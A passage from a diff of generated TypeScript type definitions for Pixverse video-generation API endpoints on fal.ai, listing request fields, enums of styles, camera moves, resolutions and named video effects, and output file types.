than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV45TransitionStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for the transition. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Scene slowly transition into cat swimming under water + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV45TransitionDurationEnumKey + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/RgedFs_WSnq5BgER7qDx1_ONrbTJ1YAGXz-9JnSsBoB_bdc8750387734bfe940319f469f7b0b2.jpg + * @type string + */ + end_image_url: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV45TransitionResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File05E17980 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV45Transition = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3890360,"url":"https://fal.media/files/panda/5KmKS-mh1vO-htbqE5oex_output.mp4"} + * @type object + */ + video: File05E17980 +} + +export const inputFalAiPixverseV4EffectsEffectEnum = { + 'Kiss Me AI': 'Kiss Me AI', + Kiss: 'Kiss', + 'Muscle Surge': 'Muscle Surge', + 'Warmth of Jesus': 'Warmth of Jesus', + 'Anything, Robot': 'Anything, Robot', + 'The Tiger Touch': 'The Tiger Touch', + Hug: 'Hug', + 'Holy Wings': 'Holy Wings', + Microwave: 'Microwave', + 'Zombie Mode': 'Zombie Mode', + 'Squid Game': 'Squid Game', + 'Baby Face': 'Baby Face', + 'Black Myth: Wukong': 'Black Myth: Wukong', + 'Long Hair Magic': 'Long Hair Magic', + 'Leggy Run': 'Leggy Run', + 'Fin-tastic Mermaid': 'Fin-tastic Mermaid', + 'Punch Face': 'Punch Face', + 'Creepy Devil Smile': 'Creepy Devil Smile', + 'Thunder God': 'Thunder God', + 'Eye Zoom Challenge': 'Eye Zoom Challenge', + "Who's Arrested?": "Who's Arrested?", + 'Baby Arrived': 'Baby Arrived', + 'Werewolf Rage': 'Werewolf Rage', + 'Bald Swipe': 'Bald Swipe', + 'BOOM DROP': 'BOOM DROP', + 'Huge Cutie': 'Huge Cutie', + 'Liquid Metal': 'Liquid Metal', + 'Sharksnap!': 'Sharksnap!', + 'Dust Me Away': 'Dust Me Away', + '3D Figurine Factor': '3D Figurine Factor', + 'Bikini Up': 'Bikini Up', + 'My Girlfriends': 'My Girlfriends', + 'My Boyfriends': 'My Boyfriends', + 'Subject 3 Fever': 'Subject 3 Fever', + 'Earth Zoom': 'Earth Zoom', + 'Pole Dance': 'Pole Dance', + 'Vroom Dance': 'Vroom Dance', + 'GhostFace Terror': 'GhostFace Terror', + 'Dragon Evoker': 'Dragon Evoker', + 'Skeletal Bae': 'Skeletal Bae', + 'Summoning succubus': 'Summoning succubus', + 'Halloween Voodoo Doll': 'Halloween Voodoo Doll', + '3D Naked-Eye AD': '3D Naked-Eye AD', + 'Package Explosion': 'Package Explosion', + 'Dishes Served': 'Dishes Served', + 'Ocean ad': 'Ocean ad', + 'Supermarket AD': 'Supermarket AD', + 'Tree doll': 'Tree doll', + 'Come Feel My Abs': 'Come Feel My Abs', + 'The Bicep Flex': 'The Bicep Flex', + 'London Elite Vibe': 'London Elite Vibe', + 'Flora Nymph Gown': 'Flora Nymph Gown', + 'Christmas Costume': 'Christmas Costume', + "It's Snowy": "It's Snowy", + 'Reindeer Cruiser': 'Reindeer Cruiser', + 'Snow Globe Maker': 'Snow Globe Maker', + 'Pet Christmas Outfit': 'Pet Christmas Outfit', + 'Adopt a Polar Pal': 'Adopt a Polar Pal', + 'Cat Christmas Box': 'Cat Christmas Box', + 'Starlight Gift Box': 'Starlight Gift Box', + 'Xmas Poster': 'Xmas Poster', + 'Pet Christmas Tree': 'Pet Christmas Tree', + 'City Santa Hat': 'City Santa Hat', + 'Stocking Sweetie': 'Stocking Sweetie', + 'Christmas Night': 'Christmas Night', + 'Xmas Front Page Karma': 'Xmas Front Page Karma', + "Grinch's Xmas Hijack": "Grinch's Xmas Hijack", + 'Giant Product': 'Giant Product', + 'Truck Fashion Shoot': 'Truck Fashion Shoot', + 'Beach AD': 'Beach AD', + 'Shoal Surround': 'Shoal Surround', + 'Mechanical Assembly': 'Mechanical Assembly', + 'Lighting AD': 'Lighting AD', + 'Billboard AD': 'Billboard AD', + 'Product close-up': 'Product close-up', + 'Parachute Delivery': 'Parachute Delivery', + 'Dreamlike Cloud': 'Dreamlike Cloud', + 'Macaron Machine': 'Macaron Machine', + 'Poster AD': 'Poster AD', + 'Truck AD': 'Truck AD', + 'Graffiti AD': 'Graffiti AD', + '3D Figurine Factory': '3D Figurine Factory', + 'The Exclusive First Class': 'The Exclusive First Class', + 'Art Zoom Challenge': 'Art Zoom Challenge', + 'I Quit': 'I Quit', + 'Hitchcock Dolly Zoom': 'Hitchcock Dolly Zoom', + 'Smell the Lens': 'Smell the Lens', + 'I believe I can fly': 'I believe I can fly', + 'Strikout Dance': 'Strikout Dance', + 'Courtside Cam': 'Courtside Cam', + 'Pit Crew Moment': 'Pit Crew Moment', + 'K-Baseball Sprint': 'K-Baseball Sprint', + 'Toddler Doodle': 'Toddler Doodle', + 'Idol Ending': 'Idol Ending', + 'Apex Dance': 'Apex Dance', + 'OmniHero Forge': 'OmniHero Forge', + 'Palm Decode': 'Palm Decode', + 'The Age Ripple': 'The Age Ripple', + 'My Future Is Limitless': 'My Future Is Limitless', + 'Knee Slide': 'Knee Slide', + 'Epic Goal Save': 'Epic Goal Save', + 'Sideline Ball Boy': 'Sideline Ball Boy', + 'Cup Celebration': 'Cup Celebration', + 'Victory Roar': 'Victory Roar', + 'Vuvuzela Fan': 'Vuvuzela Fan', + 'World Champion Lift': 'World Champion Lift', + 'Tunnel to Captain': 'Tunnel to Captain', + 'Liquid Soccer Morph': 'Liquid Soccer Morph', + 'Jump Into Crowd 2': 'Jump Into Crowd 2', + 'Golden Pitch Crasher': 'Golden Pitch Crasher', + 'Stadium Fan Cam': 'Stadium Fan Cam', + 'Broadcast Moto GP': 'Broadcast Moto GP', + 'The Grotesque Clay': 'The Grotesque Clay', + 'Rookie Star Card': 'Rookie Star Card', + 'The Final Hug': 'The Final Hug', + 'Sharp Post-Match Comment': 'Sharp Post-Match Comment', + 'Street Maverick': 'Street Maverick', + 'Pitch Legend': 'Pitch Legend', + 'One Step At A Time': 'One Step At A Time', + 'Birthday Mirror': 'Birthday Mirror', + 'Superstar Lobby': 'Superstar Lobby', + 'Final Battle Room': 'Final Battle Room', + 'Top of the World': 'Top of the World', + 'Mini Me Unboxed': 'Mini Me Unboxed', + 'WonderPOP Surprise': 'WonderPOP Surprise', + 'White Chicks': 'White Chicks', + 'Kiss me': 'Kiss me', + 'What a Day': 'What a Day', + 'The Last Leap at Sunset': 'The Last Leap at Sunset', + 'Tiny Sticker Chef Chaos': 'Tiny Sticker Chef Chaos', + 'Mini Squeeze Toy': 'Mini Squeeze Toy', + 'Tearful Gunman': 'Tearful Gunman', + 'Street Fashion Caricature': 'Street Fashion Caricature', + 'Mini Me Makeover': 'Mini Me Makeover', + 'Street Art Awakening': 'Street Art Awakening', + 'Hug Together': 'Hug Together', + 'ACAI dance Duet': 'ACAI dance Duet', + 'PUBG Winner Hit!': 'PUBG Winner Hit!', + 'Blocky Mini-Me': 'Blocky Mini-Me', + 'Cheat Day Busted': 'Cheat Day Busted', + 'MiniSocial Recharge': 'MiniSocial Recharge', + 'My Little Perler Charm': 'My Little Perler Charm', + 'Where did this cobweb come from?': 'Where did this cobweb come from?', + 'Holy Beast Summoning Technique': 'Holy Beast Summoning Technique', + "IT'S THE FIRST OF THE MONTH": "IT'S THE FIRST OF THE MONTH", + 'Pet Editorial': 'Pet Editorial', + 'Three lifetime bond': 'Three lifetime bond', + 'Pixel World': 'Pixel World', + 'Mint in Box': 'Mint in Box', + 'Hands up, Hand': 'Hands up, Hand', + 'Flora Nymph Go': 'Flora Nymph Go', + 'Somber Embrace': 'Somber Embrace', + 'Beam me up': 'Beam me up', + 'Suit Swagger': 'Suit Swagger', +} as const + +export type InputFalAiPixverseV4EffectsEffectEnumKey = + (typeof inputFalAiPixverseV4EffectsEffectEnum)[keyof typeof inputFalAiPixverseV4EffectsEffectEnum] + +export const inputFalAiPixverseV4EffectsResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV4EffectsResolutionEnumKey = + (typeof inputFalAiPixverseV4EffectsResolutionEnum)[keyof typeof inputFalAiPixverseV4EffectsResolutionEnum] + +export const inputFalAiPixverseV4EffectsDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV4EffectsDurationEnumKey = + (typeof inputFalAiPixverseV4EffectsDurationEnum)[keyof typeof inputFalAiPixverseV4EffectsDurationEnum] + +export type InputFalAiPixverseV4Effects = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional URL of the image to use as the first frame. If not provided, generates from text + * @example https://v3.fal.media/files/koala/q5ahL3KS7ikt3MvpNUG8l_image%20(72).webp + * @type string + */ + image_url: string + /** + * @description The effect to apply to the video + * @type string + */ + effect: InputFalAiPixverseV4EffectsEffectEnumKey + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV4EffectsResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV4EffectsDurationEnumKey +} + +export type File15A77570 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV4Effects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3232402,"url":"https://fal.media/files/koala/awGY1lJd7lVsqQeSqjWqn_output.mp4"} + * @type object + */ + video: File15A77570 +} + +export const inputFalAiPixverseV4ImageToVideoCameraMovement = { + horizontal_left: 'horizontal_left', + horizontal_right: 'horizontal_right', + vertical_up: 'vertical_up', + vertical_down: 'vertical_down', + zoom_in: 'zoom_in', + zoom_out: 'zoom_out', + crane_up: 'crane_up', + quickly_zoom_in: 'quickly_zoom_in', + quickly_zoom_out: 'quickly_zoom_out', + smooth_zoom_in: 'smooth_zoom_in', + camera_rotation: 'camera_rotation', + robo_arm: 'robo_arm', + super_dolly_out: 'super_dolly_out', + whip_pan: 'whip_pan', + hitchcock: 'hitchcock', + left_follow: 'left_follow', + right_follow: 'right_follow', + pan_left: 'pan_left', + pan_right: 'pan_right', + fix_bg: 'fix_bg', +} as const + +export type InputFalAiPixverseV4ImageToVideoCameraMovementKey = + (typeof inputFalAiPixverseV4ImageToVideoCameraMovement)[keyof typeof inputFalAiPixverseV4ImageToVideoCameraMovement] + +export const inputFalAiPixverseV4ImageToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV4ImageToVideoStyleKey = + (typeof inputFalAiPixverseV4ImageToVideoStyle)[keyof typeof inputFalAiPixverseV4ImageToVideoStyle] + +export const inputFalAiPixverseV4ImageToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV4ImageToVideoDurationEnumKey = + (typeof inputFalAiPixverseV4ImageToVideoDurationEnum)[keyof typeof inputFalAiPixverseV4ImageToVideoDurationEnum] + +export const inputFalAiPixverseV4ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV4ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV4ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV4ImageToVideoResolutionEnum] + +export type InputFalAiPixverseV4ImageToVideo = { + /** + * @description The type of camera movement to apply to the video + */ + camera_movement?: InputFalAiPixverseV4ImageToVideoCameraMovementKey | null + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV4ImageToVideoStyleKey | null + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV4ImageToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV4ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File39783Fab = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV4ImageToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://fal.media/files/koala/HEWK7BBwqWrz7F5nAZzp7_output.mp4"} + * @type object + */ + video: File39783Fab +} + +export const inputFalAiPixverseV4ImageToVideoFastCameraMovement = { + horizontal_left: 'horizontal_left', + horizontal_right: 'horizontal_right', + vertical_up: 'vertical_up', + vertical_down: 'vertical_down', + zoom_in: 'zoom_in', + zoom_out: 'zoom_out', + crane_up: 'crane_up', + quickly_zoom_in: 'quickly_zoom_in', + quickly_zoom_out: 'quickly_zoom_out', + smooth_zoom_in: 'smooth_zoom_in', + camera_rotation: 'camera_rotation', + robo_arm: 'robo_arm', + super_dolly_out: 'super_dolly_out', + whip_pan: 'whip_pan', + hitchcock: 'hitchcock', + left_follow: 'left_follow', + right_follow: 'right_follow', + pan_left: 'pan_left', + pan_right: 'pan_right', + fix_bg: 'fix_bg', +} as const + +export type InputFalAiPixverseV4ImageToVideoFastCameraMovementKey = + (typeof inputFalAiPixverseV4ImageToVideoFastCameraMovement)[keyof typeof inputFalAiPixverseV4ImageToVideoFastCameraMovement] + +export const inputFalAiPixverseV4ImageToVideoFastStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV4ImageToVideoFastStyleKey = + (typeof inputFalAiPixverseV4ImageToVideoFastStyle)[keyof typeof inputFalAiPixverseV4ImageToVideoFastStyle] + +export const inputFalAiPixverseV4ImageToVideoFastResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseV4ImageToVideoFastResolutionEnumKey = + (typeof inputFalAiPixverseV4ImageToVideoFastResolutionEnum)[keyof typeof inputFalAiPixverseV4ImageToVideoFastResolutionEnum] + +export type InputFalAiPixverseV4ImageToVideoFast = { + /** + * @description The type of camera movement to apply to the video + */ + camera_movement?: InputFalAiPixverseV4ImageToVideoFastCameraMovementKey | null + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV4ImageToVideoFastStyleKey | null + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV4ImageToVideoFastResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File835B68B0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV4ImageToVideoFast = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://fal.media/files/koala/HEWK7BBwqWrz7F5nAZzp7_output.mp4"} + * @type object + */ + video: File835B68B0 +} + +export const inputFalAiPixverseV4TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV4TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseV4TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseV4TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseV4TextToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV4TextToVideoStyleKey = + (typeof inputFalAiPixverseV4TextToVideoStyle)[keyof typeof inputFalAiPixverseV4TextToVideoStyle] + +export const inputFalAiPixverseV4TextToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV4TextToVideoDurationEnumKey = + (typeof inputFalAiPixverseV4TextToVideoDurationEnum)[keyof typeof inputFalAiPixverseV4TextToVideoDurationEnum] + +export const inputFalAiPixverseV4TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV4TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV4TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV4TextToVideoResolutionEnum] + +export type InputFalAiPixverseV4TextToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV4TextToVideoAspectRatioEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV4TextToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV4TextToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV4TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File4F1Ff73F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV4TextToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://fal.media/files/lion/_fVEU5nzHND_fHGQUhXEm_output.mp4"} + * @type object + */ + video: File4F1Ff73F +} + +export const inputFalAiPixverseV4TextToVideoFastAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV4TextToVideoFastAspectRatioEnumKey = + (typeof inputFalAiPixverseV4TextToVideoFastAspectRatioEnum)[keyof typeof inputFalAiPixverseV4TextToVideoFastAspectRatioEnum] + +export const inputFalAiPixverseV4TextToVideoFastResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseV4TextToVideoFastResolutionEnumKey = + (typeof inputFalAiPixverseV4TextToVideoFastResolutionEnum)[keyof typeof inputFalAiPixverseV4TextToVideoFastResolutionEnum] + +export const inputFalAiPixverseV4TextToVideoFastStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV4TextToVideoFastStyleKey = + (typeof inputFalAiPixverseV4TextToVideoFastStyle)[keyof typeof inputFalAiPixverseV4TextToVideoFastStyle] + +export type InputFalAiPixverseV4TextToVideoFast = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV4TextToVideoFastAspectRatioEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV4TextToVideoFastResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV4TextToVideoFastStyleKey | null +} + +export type File3535E874 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV4TextToVideoFast = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://fal.media/files/lion/_fVEU5nzHND_fHGQUhXEm_output.mp4"} + * @type object + */ + video: File3535E874 +} + +export const inputFalAiPixverseV55EffectsDurationEnum = { + '5': '5', + '8': '8', + '10': '10', +} as const + +export type InputFalAiPixverseV55EffectsDurationEnumKey = + (typeof inputFalAiPixverseV55EffectsDurationEnum)[keyof typeof inputFalAiPixverseV55EffectsDurationEnum] + +export const inputFalAiPixverseV55EffectsEffectEnum = { + 'Kiss Me AI': 'Kiss Me AI', + Kiss: 'Kiss', + 'Muscle Surge': 'Muscle Surge', + 'Warmth of Jesus': 'Warmth of Jesus', + 'Anything, Robot': 'Anything, Robot', + 'The Tiger Touch': 'The Tiger Touch', + Hug: 'Hug', + 'Holy Wings': 'Holy Wings', + Microwave: 'Microwave', + 'Zombie Mode': 'Zombie Mode', + 'Squid Game': 'Squid Game', + 'Baby Face': 'Baby Face', + 'Black Myth: Wukong': 'Black Myth: Wukong', + 'Long Hair Magic': 'Long Hair Magic', + 'Leggy Run': 'Leggy Run', + 'Fin-tastic Mermaid': 'Fin-tastic Mermaid', + 'Punch Face': 'Punch Face', + 'Creepy Devil Smile': 'Creepy Devil Smile', + 'Thunder God': 'Thunder God', + 'Eye Zoom Challenge': 'Eye Zoom Challenge', + "Who's Arrested?": "Who's Arrested?", + 'Baby Arrived': 'Baby Arrived', + 'Werewolf Rage': 'Werewolf Rage', + 'Bald Swipe': 'Bald Swipe', + 'BOOM DROP': 'BOOM DROP', + 'Huge Cutie': 'Huge Cutie', + 'Liquid Metal': 'Liquid Metal', + 'Sharksnap!': 'Sharksnap!', + 'Dust Me Away': 'Dust Me Away', + '3D Figurine Factor': '3D Figurine Factor', + 'Bikini Up': 'Bikini Up', + 'My Girlfriends': 'My Girlfriends', + 'My Boyfriends': 'My Boyfriends', + 'Subject 3 Fever': 'Subject 3 Fever', + 'Earth Zoom': 'Earth Zoom', + 'Pole Dance': 'Pole Dance', + 'Vroom Dance': 'Vroom Dance', + 'GhostFace Terror': 'GhostFace Terror', + 'Dragon Evoker': 'Dragon Evoker', + 'Skeletal Bae': 'Skeletal Bae', + 'Summoning succubus': 'Summoning succubus', + 'Halloween Voodoo Doll': 'Halloween Voodoo Doll', + '3D Naked-Eye AD': '3D Naked-Eye AD', + 'Package Explosion': 'Package Explosion', + 'Dishes Served': 'Dishes Served', + 'Ocean ad': 'Ocean ad', + 'Supermarket AD': 'Supermarket AD', + 'Tree doll': 'Tree doll', + 'Come Feel My Abs': 'Come Feel My Abs', + 'The Bicep Flex': 'The Bicep Flex', + 'London Elite Vibe': 'London Elite Vibe', + 'Flora Nymph Gown': 'Flora Nymph Gown', + 'Christmas Costume': 'Christmas Costume', + "It's Snowy": "It's Snowy", + 'Reindeer Cruiser': 'Reindeer Cruiser', + 'Snow Globe Maker': 'Snow Globe Maker', + 'Pet Christmas Outfit': 'Pet Christmas Outfit', + 'Adopt a Polar Pal': 'Adopt a Polar Pal', + 'Cat Christmas Box': 'Cat Christmas Box', + 'Starlight Gift Box': 'Starlight Gift Box', + 'Xmas Poster': 'Xmas Poster', + 'Pet Christmas Tree': 'Pet Christmas Tree', + 'City Santa Hat': 'City Santa Hat', + 'Stocking Sweetie': 'Stocking Sweetie', + 'Christmas Night': 'Christmas Night', + 'Xmas Front Page Karma': 'Xmas Front Page Karma', + "Grinch's Xmas Hijack": "Grinch's Xmas Hijack", + 'Giant Product': 'Giant Product', + 'Truck Fashion Shoot': 'Truck Fashion Shoot', + 'Beach AD': 'Beach AD', + 'Shoal Surround': 'Shoal Surround', + 'Mechanical Assembly': 'Mechanical Assembly', + 'Lighting AD': 'Lighting AD', + 'Billboard AD': 'Billboard AD', + 'Product close-up': 'Product close-up', + 'Parachute Delivery': 